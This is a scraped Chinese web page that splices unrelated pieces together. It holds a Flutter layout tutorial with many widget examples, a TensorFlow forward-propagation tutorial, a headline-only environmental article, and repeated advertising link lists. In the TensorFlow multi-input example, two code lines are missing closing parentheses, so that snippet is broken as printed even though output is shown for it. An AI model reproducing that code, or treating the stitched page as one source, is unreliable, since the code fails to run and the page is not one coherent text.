最簡單的用法如下:

Container(
	child: Text('老孟'),
 )

子組件不會發生任何外觀上的變化:

設置背景顏色:

Container(
	color: Colors.blue,
    child: Text('老孟'),
)

設置內邊距( padding ) 和 外邊距( margin )

Container(
      color: Colors.blue,
      child: Container(
        margin: EdgeInsets.all(10),
        padding: EdgeInsets.all(20),
        color: Colors.red,
        child: Text('老孟'),
      ),
    )

效果如下:

decoration 屬性設置子組件的背景顏色、形狀等。設置背景為圓形,顏色為藍色:

Container(
  child: Text('老孟,專註分享Flutter技術及應用'),
  decoration: BoxDecoration(shape: BoxShape.circle, color: Colors.blue),
)

默認情況下,圓形的直徑等於 Container 窄邊長度,相當於在矩形內繪製內切圓。

上面的情況明顯不是我們希望看到了,希望背景是圓角矩形:

Container(
        child: Text('老孟,專註分享Flutter技術及應用'),
        padding: EdgeInsets.symmetric(horizontal: 10),
        decoration: BoxDecoration(
            shape: BoxShape.rectangle,
            borderRadius: BorderRadius.all(Radius.circular(20)),
            color: Colors.blue),
      )

除了背景我們可以設置邊框效果,代碼如下:

Container(
        child: Text('老孟,專註分享Flutter技術及應用'),
        padding: EdgeInsets.symmetric(horizontal: 10),
        decoration: BoxDecoration(
          borderRadius: BorderRadius.circular(12),
          border: Border.all(
            color: Colors.blue,
            width: 2,
          ),
        ),
      )

創建圓角圖片和圓形圖片:

Container(
      height: 200,
      width: 200,
      decoration: BoxDecoration(
        image:  DecorationImage(
          image: NetworkImage(
              'https://flutter.github.io/assets-for-api-docs/assets/widgets/owl-2.jpg'),
          fit: BoxFit.cover,
        ),
        border: Border.all(
          color: Colors.blue,
          width: 2,
        ),
        borderRadius: BorderRadius.circular(12),
      ),
    )

修改其形狀為圓形,代碼如下:

Container(
      height: 200,
      width: 200,
      decoration: BoxDecoration(
        image: DecorationImage(
          image: NetworkImage(
              'https://flutter.github.io/assets-for-api-docs/assets/widgets/owl-2.jpg'),
          fit: BoxFit.cover,
        ),
        border: Border.all(
          color: Colors.blue,
          width: 2,
        ),
        shape: BoxShape.circle,
      ),
    )

設置對齊方式為居中,背景色為藍色,代碼如下:

Container(
        color: Colors.blue,
        child: Text('老孟,一個有態度的程序員'),
        alignment: Alignment.center,
      )

注意:設置對齊方式后,Container將會充滿其父控件,相當於Android中 match_parent 。

Alignment 已經封裝了常用的位置,

通過名字就知道其位置,這裏要介紹一下其他的位置,比如在距離左上角1/4處:

Container(
  alignment: Alignment(-.5,-.5),
  child: Text('老孟,專註分享Flutter技術及應用'),
)

所以這裡有一個非常重要的坐標系,Alignment 坐標系如下:

組件的中心為坐標原點。

設置固定的寬高屬性:

Container(
        color: Colors.blue,
        child: Text('老孟,專註分享Flutter技術及應用'),
        alignment: Alignment.center,
        height: 60,
        width: 250,
      )

通過 constraints 屬性設置最大/小寬、高來確定大小,如果不設置,默認最小寬高是0,最大寬高是無限大(double.infinity),約束width代碼如下:

Container(
        color: Colors.blue,
        child: Text('老孟,專註分享Flutter技術及應用'),
        alignment: Alignment.center,
        constraints: BoxConstraints(
          maxHeight: 100,
          maxWidth: 300,
          minHeight: 100,
          minWidth: 100,
        ),
      )

通過transform可以旋轉、平移、縮放Container,旋轉代碼如下:

Container(
        color: Colors.blue,
        child: Text('老孟,專註分享Flutter技術及應用'),
        alignment: Alignment.center,
        height: 60,
        width: 250,
        transform: Matrix4.rotationZ(0.5),
      )

注意:Matrix4.rotationZ()參數的單位是弧度而不是角度

SizedBox

SizedBox 是具有固定寬高的組件,直接指定具體的寬高,用法如下:

SizedBox(
        height: 60,
        width: 200,
        child: Container(
          color: Colors.blue,
          alignment: Alignment.center,
          child: Text('老孟,專註分享Flutter技術及應用'),
        ),
      )

設置尺寸無限大,如下:

SizedBox(
  height: double.infinity,
  width: double.infinity,
  ...
)

雖然設置了無限大,子控件是否會無限長呢?不,不會,子控件依然會受到父組件的約束,會擴展到父組件的尺寸,還有一個便捷的方式設置此方式:

SizedBox.expand(
  child: Text('老孟,專註分享Flutter技術及應用'),
)

SizedBox 可以沒有子組件,但仍然會佔用空間,所以 SizedBox 非常適合控制2個組件之間的空隙,用法如下:

Column(
          children: <Widget>[
            Container(height: 30,color: Colors.blue,),
            SizedBox(height: 30,),
            Container(height: 30,color: Colors.red,),
          ],
        )

AspectRatio

AspectRatio 是固定寬高比的組件,用法如下:

Container(
        height: 300,
        width: 300,
        color: Colors.blue,
        alignment: Alignment.center,
        child: AspectRatio(
          aspectRatio: 2 / 1,
          child: Container(color: Colors.red,),
        ),
      )

aspectRatio 是寬高比,可以直接寫成分數的形式,也可以寫成小數的形式,但建議寫成分數的形式,可讀性更高。效果如下:

FractionallySizedBox

FractionallySizedBox 是一個相對父組件尺寸的組件,比如占父組件的70%:

Container(
  height: 200,
  width: 200,
  color: Colors.blue,
  child: FractionallySizedBox(
    widthFactor: .8,
    heightFactor: .3,
    child: Container(
      color: Colors.red,
    ),
  ),
)

通過 alignment 參數控制子組件显示的位置,默認為居中,用法如下:

FractionallySizedBox(
  alignment: Alignment.center,
  ...
)

權重組件

Expanded、Flexible 和 Spacer 都是具有權重屬性的組件,可以控制 Row、Column、Flex 的子控件如何布局的組件。

Flexible 組件可以控制 Row、Column、Flex 的子控件佔滿父組件,比如,Row 中有3個子組件,兩邊的寬是100,中間的佔滿剩餘的空間,代碼如下:

Row(
      children: <Widget>[
        Container(
          color: Colors.blue,
          height: 50,
          width: 100,
        ),
        Flexible(
            child: Container(
              color: Colors.red,
              height: 50,
            )
        ),
        Container(
          color: Colors.blue,
          height: 50,
          width: 100,
        ),
      ],
    )

還是有3個子組件,第一個佔1/6,第二個佔2/6,第三個佔3/6,代碼如下:

Column(
      children: <Widget>[
        Flexible(
          flex: 1,
          child: Container(
            color: Colors.blue,
            alignment: Alignment.center,
            child: Text('1 Flex/ 6 Total',style: TextStyle(color: Colors.white),),
          ),
        ),
        Flexible(
          flex: 2,
          child: Container(
            color: Colors.red,
            alignment: Alignment.center,
            child: Text('2 Flex/ 6 Total',style: TextStyle(color: Colors.white),),
          ),
        ),
        Flexible(
          flex: 3,
          child: Container(
            color: Colors.green,
            alignment: Alignment.center,
            child: Text('3 Flex/ 6 Total',style: TextStyle(color: Colors.white),),
          ),
        ),
      ],
    )

子組件佔比 = 當前子控件 flex / 所有子組件 flex 之和。

Flexible中 fit 參數表示填滿剩餘空間的方式,說明如下:

  • tight:必須(強制)填滿剩餘空間。
  • loose:盡可能大的填滿剩餘空間,但是可以不填滿。

這2個看上去不是很好理解啊,什麼叫盡可能大的填滿剩餘空間?什麼時候填滿?看下面的例子:

Row(
      children: <Widget>[
        Container(
          color: Colors.blue,
          height: 50,
          width: 100,
        ),
        Flexible(
            child: Container(
              color: Colors.red,
              height: 50,
			  child: Text('Container',style: TextStyle(color: Colors.white),),
            )
        ),
        Container(
          color: Colors.blue,
          height: 50,
          width: 100,
        ),
      ],
    )

這段代碼是在最上面代碼的基礎上給中間的紅色Container添加了Text子控件,此時紅色Container就不在充滿空間,再給Container添加對齊方式,代碼如下:

Row(
      children: <Widget>[
        Container(
          color: Colors.blue,
          height: 50,
          width: 100,
        ),
        Flexible(
            child: Container(
              color: Colors.red,
              height: 50,
			  alignment: Alignment.center,
			  child: Text('Container',style: TextStyle(color: Colors.white),),
            )
        ),
        Container(
          color: Colors.blue,
          height: 50,
          width: 100,
        ),
      ],
    )

此時又填滿剩餘空間。

大家是否還記得 Container 組件的大小是如何調整的嗎?Container 默認是適配子控件大小的,但當設置對齊方式時 Container 將會填滿父組件,因此是否填滿剩餘空間取決於子組件是否需要填滿父組件。

如果把 Flexible 中子組件由 Container 改為 OutlineButton,代碼如下:

Row(
      children: <Widget>[
        Container(
          color: Colors.blue,
          height: 50,
          width: 100,
        ),
        Flexible(
          child: OutlineButton(
            child: Text('OutlineButton'),
          ),
        ),
        Container(
          color: Colors.blue,
          height: 50,
          width: 100,
        ),
      ],
    )

OutlineButton 正常情況下是不充滿父組件的,因此最終的效果應該是不填滿剩餘空間:

下面再來介紹另一個權重組件 Expanded ,源代碼如下:

class Expanded extends Flexible {
  /// Creates a widget that expands a child of a [Row], [Column], or [Flex]
  /// so that the child fills the available space along the flex widget's
  /// main axis.
  const Expanded({
    Key key,
    int flex = 1,
    @required Widget child,
  }) : super(key: key, flex: flex, fit: FlexFit.tight, child: child);
}

Expanded 繼承字 Flexible,fit 參數固定為 FlexFit.tight,也就是說 Expanded 必須(強制)填滿剩餘空間。上面的 OutlineButton 想要充滿剩餘空間可以直接使用 Expanded :

Row(
      children: <Widget>[
        Container(
          color: Colors.blue,
          height: 50,
          width: 100,
        ),
        Expanded(
          child: OutlineButton(
            child: Text('OutlineButton'),
          ),
        ),
        Container(
          color: Colors.blue,
          height: 50,
          width: 100,
        ),
      ],
    )

Spacer 也是一個權重組件,源代碼如下:

@override
Widget build(BuildContext context) {
  return Expanded(
    flex: flex,
    child: const SizedBox.shrink(),
  );
}

Spacer 的本質也是 Expanded 的實現的,和Expanded的區別是:Expanded 可以設置子控件,而 Spacer 的子控件尺寸是0,因此Spacer適用於撐開 Row、Column、Flex 的子控件的空隙,用法如下:

Row(
  children: <Widget>[
    Container(width: 100,height: 50,color: Colors.green,),
    Spacer(flex: 2,),
    Container(width: 100,height: 50,color: Colors.blue,),
    Spacer(),
    Container(width: 100,height: 50,color: Colors.red,),
  ],
)

三個權重組建總結如下:

  • Spacer 是通過 Expanded 實現的,Expanded繼承自Flexible。
  • 填滿剩餘空間直接使用Expanded更方便。
  • Spacer 用於撐開 Row、Column、Flex 的子組件的空隙。

仿 掘金-我 效果

先看下效果:

拿到效果圖先不要慌 (取出手機拍照發個朋友圈),整個列表每一行的布局基本一樣,所以先寫出一行的效果:

class _SettingItem extends StatelessWidget {
  const _SettingItem(
      {Key key, this.iconData, this.iconColor, this.title, this.suffix})
      : super(key: key);

  final IconData iconData;
  final Color iconColor;
  final String title;
  final Widget suffix;

  @override
  Widget build(BuildContext context) {
    return Container(
      height: 45,
      child: Row(
        children: <Widget>[
          SizedBox(
            width: 30,
          ),
          Icon(iconData,color: iconColor,),
          SizedBox(
            width: 30,
          ),
          Expanded(
            child: Text('$title'),
          ),
          suffix,
          SizedBox(
            width: 15,
          ),
        ],
      ),
    );
  }
}

消息中心和其他行最後的樣式不一樣,單獨封裝,帶紅色背景的組件:

class _NotificationsText extends StatelessWidget {
  final String text;

  const _NotificationsText({Key key, this.text}) : super(key: key);

  @override
  Widget build(BuildContext context) {
    return Container(
      padding: EdgeInsets.symmetric(horizontal: 10),
      decoration: BoxDecoration(
          shape: BoxShape.rectangle,
          borderRadius: BorderRadius.all(Radius.circular(50)),
          color: Colors.red),
      child: Text(
        '$text',
        style: TextStyle(color: Colors.white),
      ),
    );
  }
}

灰色後綴組件:

class _Suffix extends StatelessWidget {
  final String text;

  const _Suffix({Key key, this.text}) : super(key: key);

  @override
  Widget build(BuildContext context) {
    return Text(
      '$text',
      style: TextStyle(color: Colors.grey.withOpacity(.5)),
    );
  }
}

將這些封裝好的組件組合起來:

class SettingDemo extends StatelessWidget {
  @override
  Widget build(BuildContext context) {
    return Column(
      children: <Widget>[
        _SettingItem(
          iconData: Icons.notifications,
          iconColor: Colors.blue,
          title: '消息中心',
          suffix: _NotificationsText(
            text: '2',
          ),
        ),
        Divider(),
        _SettingItem(
          iconData: Icons.thumb_up,
          iconColor: Colors.green,
          title: '我贊過的',
          suffix: _Suffix(
            text: '121篇',
          ),
        ),
        Divider(),
        _SettingItem(
          iconData: Icons.grade,
          iconColor: Colors.yellow,
          title: '收藏集',
          suffix: _Suffix(
            text: '2個',
          ),
        ),
        Divider(),
        _SettingItem(
          iconData: Icons.shopping_basket,
          iconColor: Colors.yellow,
          title: '已購小冊',
          suffix: _Suffix(
            text: '100個',
          ),
        ),
        Divider(),
        _SettingItem(
          iconData: Icons.account_balance_wallet,
          iconColor: Colors.blue,
          title: '我的錢包',
          suffix: _Suffix(
            text: '10萬',
          ),
        ),
        Divider(),
        _SettingItem(
          iconData: Icons.location_on,
          iconColor: Colors.grey,
          title: '閱讀過的文章',
          suffix: _Suffix(
            text: '1034篇',
          ),
        ),
        Divider(),
        _SettingItem(
          iconData: Icons.local_offer,
          iconColor: Colors.grey,
          title: '標籤管理',
          suffix: _Suffix(
            text: '27個',
          ),
        ),
      ],
    );
  }
}

至此就結束了。

柱狀圖

先來看下效果:

關於動畫部分的內容會在後面的章節具體介紹。這個效果分為3大部分:

  1. 坐標軸,左邊和底部黑色直線。
  2. 矩形柱狀圖。
  3. 動畫控制部分。

坐標軸的實現如下:

class _Axis extends StatelessWidget {
  final Widget child;

  const _Axis({Key key, this.child}) : super(key: key);

  @override
  Widget build(BuildContext context) {
    return Container(
      decoration: BoxDecoration(
        border: Border(
          left: BorderSide(color: Colors.black, width: 2),
          bottom: BorderSide(color: Colors.black, width: 2),
        ),
      ),
      child: child,
    );
  }
}

單個柱狀圖實現:

class _Cylinder extends StatelessWidget {
  final double height;
  final double width;
  final Color color;

  const _Cylinder({Key key, this.height, this.width, this.color})
      : super(key: key);

  @override
  Widget build(BuildContext context) {
    return AnimatedContainer(
      duration: Duration(seconds: 1),
      height: height,
      width: width,
      color: color,
    );
  }
}

生成多個柱狀圖:

final double _width = 20.0;
List<double> _heightList = [60.0, 80.0, 100.0, 120.0, 140.0];

Row(
    mainAxisAlignment: MainAxisAlignment.spaceBetween,
    crossAxisAlignment: CrossAxisAlignment.end,
    children: List.generate(_heightList.length, (index) {
      return _Cylinder(
        height: _heightList[index],
        width: _width,
        color: Colors.primaries[index % Colors.primaries.length],
      );
    }))

將此合併,然後更改每一個柱狀圖的高度:

class CylinderChart extends StatefulWidget {
  @override
  _CylinderChartState createState() => _CylinderChartState();
}

class _CylinderChartState extends State<CylinderChart> {
  final double _width = 20.0;
  List<double> _heightList = [60.0, 80.0, 100.0, 120.0, 140.0];

  @override
  Widget build(BuildContext context) {
    return Center(
      child: Container(
        height: 200,
        width: 250,
        child: Stack(
          children: <Widget>[
            _Axis(),
            Positioned.fill(
              left: 5,
              right: 5,
              child: Row(
                  mainAxisAlignment: MainAxisAlignment.spaceBetween,
                  crossAxisAlignment: CrossAxisAlignment.end,
                  children: List.generate(_heightList.length, (index) {
                    return _Cylinder(
                      height: _heightList[index],
                      width: _width,
                      color: Colors.primaries[index % Colors.primaries.length],
                    );
                  })),
            ),
            Positioned(
              top: 0,
              left: 30,
              child: OutlineButton(
                child: Text('反轉'),
                onPressed: () {
                  setState(() {
                    _heightList = _heightList.reversed.toList();
                  });
                },
              ),
            )
          ],
        ),
      ),
    );
  }
}

搞定。

交流

老孟Flutter博客地址(330個控件用法):http://laomengit.com

歡迎加入Flutter交流群(微信:laomengit)、關注公眾號【老孟Flutter】:

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※教你寫出一流的銷售文案?

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※回頭車貨運收費標準

※別再煩惱如何寫文案,掌握八大原則!

※超省錢租車方案

※產品缺大量曝光嗎?你需要的是一流包裝設計!

Tensorflow實現神經網絡的前向傳播

我們構想有一個神經網絡,輸入為兩個input,中間有一個hidden layer,這個hiddenlayer當中有三個神經元,最後有一個output。

圖例如下:

 

 

 

 在實現這個神經網絡的前向傳播之前,我們先補充一下重要的知識。

一.權重w以及input的初始化

我們初始化權重w的方法為隨機生成這些權重,一般可以使用這些隨機生成的數據正好在正態分佈的曲線上,這也是最符合生成符合自然規律的隨機數生成方法:

import tensorflow as tf
#一般情況下神經網絡上的參數是w的數列,當然我們一般使用隨機數來生成這些參數
w=tf.Variable(tf.random_normal([2,3],stddev=2,mean=0,seed=1))
#其中stddev表示標準差,mean表示均值,【】表示隨機生成正態分佈的數值的shape

這樣我們的權重就生成了,我們初始化input的方法有有以下幾種,偽代碼如下:

除了這種方式,我們還可以使用
tf.constant([1,2,3]),來生成指定數值
tf.zeros([2,3],int32),用來生成全零
tf.ones([2,3],int32),同來生成全1
tf.fill([3,2],6),生成指定數值

下面我們編寫一個僅有一個初始值input的神經網絡,並利用tensorflow實現對其進行前向傳播。因為初始值僅有一個,實現的方法一共有兩種,我們來看看第一種:

二.神經網絡的前向傳播(僅具一個初始值,方法一)

import tensorflow as tf

x=tf.constant([[0.7,0.5]])#注意這裏,寫了兩个中括號啊!
w1=tf.Variable(tf.random_normal([2,3],stddev=1,seed=1))
w2=tf.Variable(tf.random_normal([3,1],stddev=1,seed=1))

#然後定義向前傳播的過程
a=tf.matmul(x,w1)
y=tf.matmul(a,w2)

#利用session計算前向傳播的結果
with tf.Session() as sess:
    init_op=tf.global_variables_initializer()
    sess.run(init_op)
    print(sess.run(y))#這裏使用run(y)打印出結果,因為最後一個輸出我們定義的是y

輸出:

[[3.0904665]]

三.神經網絡的前向傳播(僅具一個初始值,方法二)

我們利用placeholder進行數據的初始化,賦值給input,使用placeholder既可以賦一個值,也可以賦多個值,這也是它很常見的原因,代碼如下:

import tensorflow as tf

x=tf.placeholder(tf.float32,shape=(1,2))
w1=tf.Variable(tf.random_normal([2,3],stddev=1,seed=1))
w2=tf.Variable(tf.random_normal([3,1],stddev=1,seed=1))

#同樣地定義前向傳播的過程
a=tf.matmul(x,w1)
y=tf.matmul(a,w2)

#利用session計算前向傳播的結果
with tf.Session() as sess:
    init_op=tf.global_variables_initializer()
    sess.run(init_op)
    print(sess.run(y,feed_dict={x:[[0.7,0.5]]}))#這裏使用run(y)打印出結果,因為最後一個輸出我們定義的是y

輸出:

[[3.0904665]]

結果和方法一相同。接下來就可以對多個數據進行前向傳播了,也是利用placeholder方法

四.神經網絡的前向傳播(多個初始值)

代碼如下:

import tensorflow as tf

x=tf.placeholder(tf.float32,shape=(None,2))
w1=tf.Variable(tf.random_normal([2,3],stddev=1,seed=1))
w2=tf.Variable(tf.random_normal([3,1],stddev=1,seed=1)

#同樣地定義前向傳播的過程
a=tf.matmul(x,w1)
y=tf.matmul(a,w2

#利用session計算前向傳播的結果
with tf.Session() as sess:
    init_op=tf.global_variables_initializer()
    sess.run(init_op)
    print(sess.run(y,feed_dict={x:[[0.7,0.5],[0.2,0.3],[0.5,0.5]]}))

輸出:

[[3.0904665]
 [1.2236414]
 [2.5171587]]

完畢!看起來還是挺簡單的吧!tensorflow在工業界的應用還是十分廣泛的,想要創業和在業界工作的朋友就可以好好了解一下了!

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※超省錢租車方案

※別再煩惱如何寫文案,掌握八大原則!

※回頭車貨運收費標準

※教你寫出一流的銷售文案?

※FB行銷專家,教你從零開始的技巧

【你來報報】「膠」備競賽 Plastic or Planet?

文:朱漢強(綠惜地球環境倡議總監)

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?